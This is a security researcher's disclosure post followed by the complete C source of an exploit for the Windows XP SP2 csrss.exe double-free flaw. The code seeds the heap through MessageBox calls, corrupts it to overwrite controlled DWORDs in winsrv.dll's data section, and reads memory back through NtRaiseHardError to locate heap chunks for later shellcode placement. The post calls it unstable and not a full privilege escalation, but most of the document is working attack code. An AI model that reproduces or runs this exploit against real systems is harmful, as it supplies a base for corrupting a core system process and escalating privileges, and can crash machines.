csrss.exe double-free vulnerability - arbitrary DWORD overwrite exploit
Hi,
For those researchers who are interested in the Csrss Double-Free
vulnerability, I have coded an arbitrary DWORD overwrite exploit. This
flaw is hard to exploit (at least for me) due to the the "fail-and-die"
situation. Corrupting the heap in a process like Csrss is dangerous.
However, by definition a double-free is exploitable and I was curious
about this flaw.So, "suddenly" the memory disclosure flaw I've
demonstrated few days ago has became very useful for the exploiting process.
In order to exploit this flaw successfully, we need...luck :). Well,
among other things.
Firstly, we should seed the heap with a "magic value", then corrupting
the head with a specially crafted MessageBox we are going to overwrite
various controlled addresses. Some of those addresses may be overwritten
with an address of a Csrss heap chunk.Thus, using the memory disclosure
exploit we can spot that chunk address which bring us the key for
locating our shellcode and/or specially crafted data in memory.
This exploit is not...
<*> A privilege escalation exploit. It does not contain any type of
shellcode.
<*> An stable exploit. The heap around Csrss.exe is barely controllable
so likely the exploit is not going to work well every time you run
it.Patience.The chances for success grow up if you plan to run the
exploit on a machine which had been running for several minutes or hours
since the system is going to be more stable then (Vmware snapshots fit
perfectly).
This exploit is...
<*> A code that overwrites various controlled DWORDs in winsrv.dll data
section within Csrss.exe process.
If you are planning to exploit this issue for learning, you can code two
different programs extracting routines from this exploit: the
"corrupter" and the "csrss memory monitor". In this case, manual
analysis is better.
If you are reading this text and know how to exploit this issue in a
better way, please contact me, I would be pleased to talk (and learn)
about your method.
Anyway,since the situation is quite volatile, the exploit is just
intended for demonstrating the theory.
Tested on XP SP2 (Just for XP SP2 indeed)
Exploit Direct Download (in C):
http://www.reversemode.com/index.php?option=com_remository&Itemid=2&func=fileinfo&id=44
Video "Csrss.exe Double-free - Arbitrary DWORD overwrite":
http://www.reversemode.com/downloads/exploiting-csrss-df.wmv
Cheers,
Rubén.
----------------------
/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe-winsrv.dll Double Free
/////////////////////////////////////////
///// Ruben Santamarta
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.29.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////
////// XP SP2
////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>
#define UNICODE
#define MAGIC_VALUE 0x75b4cd40 // winsrv.dll data section
BOOL gFon=FALSE;
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
ULONG,
ULONG,
PULONG,
UINT,
PULONG);
// Csrss.exe memory monitor thread
// (Read csrss.exe memory disclosure exploit for details)
VOID WINAPI ReadBox2( LPVOID param )
{
HWND hWindow,hButton,hText;
DWORD hChunk,cHeader=0;
int i=0,b=0;
int gTemp;
char lpTitle[300];
char lpText[300];
char lpBuff[500];
ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
Sleep(2000);
for (;;)
{
lpText[0]=(BYTE)"";
Sleep(1000);
hWindow = FindWindow("#32770",NULL);
ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
if(hWindow != NULL)
{
GetWindowText(hWindow,(LPSTR)&lpTitle,250);
if(strcmp(lpTitle,"Aa")!=0)
{
hText=FindWindowEx(hWindow,0,"static",0);
GetWindowText(hText,(LPSTR)&lpText,250);
hText=GetNextWindow(hText,GW_HWNDNEXT);
GetWindowText(hText,(LPSTR)&lpText,250);
cHeader=*(DWORD*)lpText;
if( cHeader!=0)
{
if(cHeader >0x100000 && cHeader<0x400000)
{
printf("\n**************************\n");
printf("Heap Chunk Found! Good Luck!\n");
printf("New Value: 0x%p",cHeader);
printf("\n**************************\n");
}
else
{
printf("\n****************************\n");
printf("winsrv.dll data overwritten! \n");
printf("New Value: 0x%p",cHeader);
printf("\n****************************\n");
}
}
else
{
printf("\n****************************\n");
printf("nothing found! ");
printf("\n****************************\n");
}
cHeader=*(DWORD*)lpTitle;
if( cHeader!=0)
{
if(cHeader >0x100000 && cHeader<0x400000)
{
printf("\n**************************\n");
printf("Heap Chunk Found! Good Luck!\n");
printf("New Value: 0x%p",cHeader);
printf("\n**************************\n");
}
else
{
printf("\n****************************\n");
printf("winsrv.dll data overwritten! \n");
printf("New Value: 0x%p",cHeader);
printf("\n****************************\n");
}
}
else
{
printf("\n****************************\n");
printf("nothing found! ");
printf("\n****************************\n");
}
}
SendMessage(hWindow,WM_CLOSE,0,0);
ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
}
CloseHandle(hWindow);
}
}
VOID WINAPI ReadBox( LPVOID param )
{
HWND hWindow;
for (;;)
{
Sleep(1000);
if(!gFon)
{
hWindow = FindWindow("#32770",NULL);
if(hWindow != NULL )
{
SendMessage(hWindow,WM_CLOSE,0,0);
}
}
}
}
int main()
{
UNICODE_STRING uStr={5,5,L"fun!"};
ULONG retValue,args[]={MAGIC_VALUE,MAGIC_VALUE,(ULONG)&uStr};
PNTRAISE NtRaiseHardError;
DWORD dwThreadId;
byte *ShellCode ="\x5C\x3F\x3F\x5C\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
"\x40\xcd\xb4\x75\x40\xcd\xb4\x75";
int i=0;
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtRaiseHardError");
system("cls");
printf("##########################################\n");
printf("### Microsoft Windows NtRaiseHardError ###\n");
printf("### Csrss.exe-winsrv.dll Double-Free ###\n");
printf("## Ruben Santamarta www.reversemode.com ##\n");
printf("##########################################\n");
printf("## + Csrss.exe Double-Free Exploit ##\n");
printf("## + Csrss.exe Memory Disclosure Exploit##\n");
printf("##########################################\n");
printf("# XP SP 2 #\n");
printf("##########################################\n\n");
printf("\nThe exploit overwrites controlled addresses\n");
printf("in winsrv.dll data section within Csrss.exe\n\n");
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)ReadBox,
0,
0,
&dwThreadId);
// Seeding the heap
for(i=0;i<2;i++) MessageBoxA(0,"\x40\xcd\xb4\x75","\x40\xcd\xb4\x75",
MB_SERVICE_NOTIFICATION);
// Exploiting Csrss.exe Double-Free
printf("[*] Stage 1 -= Hitting Heap =-\n\n") ;
printf("[+] Corrupting the heap (11 attemps)\n\n");
for( i=0; i<11; i++)
{
printf("#%d... ",i+1);
MessageBoxA(0, ShellCode,"A", MB_SERVICE_NOTIFICATION);
}
gFon=TRUE;
printf("\n\n[*] Stage 2 -= Scanning winsrv.dll data section =-\n\n") ;
Sleep(2000);
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)ReadBox2,
0,
0,
NULL);
args[0]-=0x20;
// Exploiting Csrss.exe memory disclosure flaw
for(i=0;i<0xF;i++)
{
args[0]+=4;
printf("\n#%d Reading at : [0x%p]\n",i,args[0]);
NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
}
printf("\n[+] Exploit exiting\n\n");
printf("#############################################################\n");
printf("If you didn't find anything, run the exploit one more time!\n");
printf("If you find a heap chunk address, enjoy!\n");
printf("#############################################################\n");
}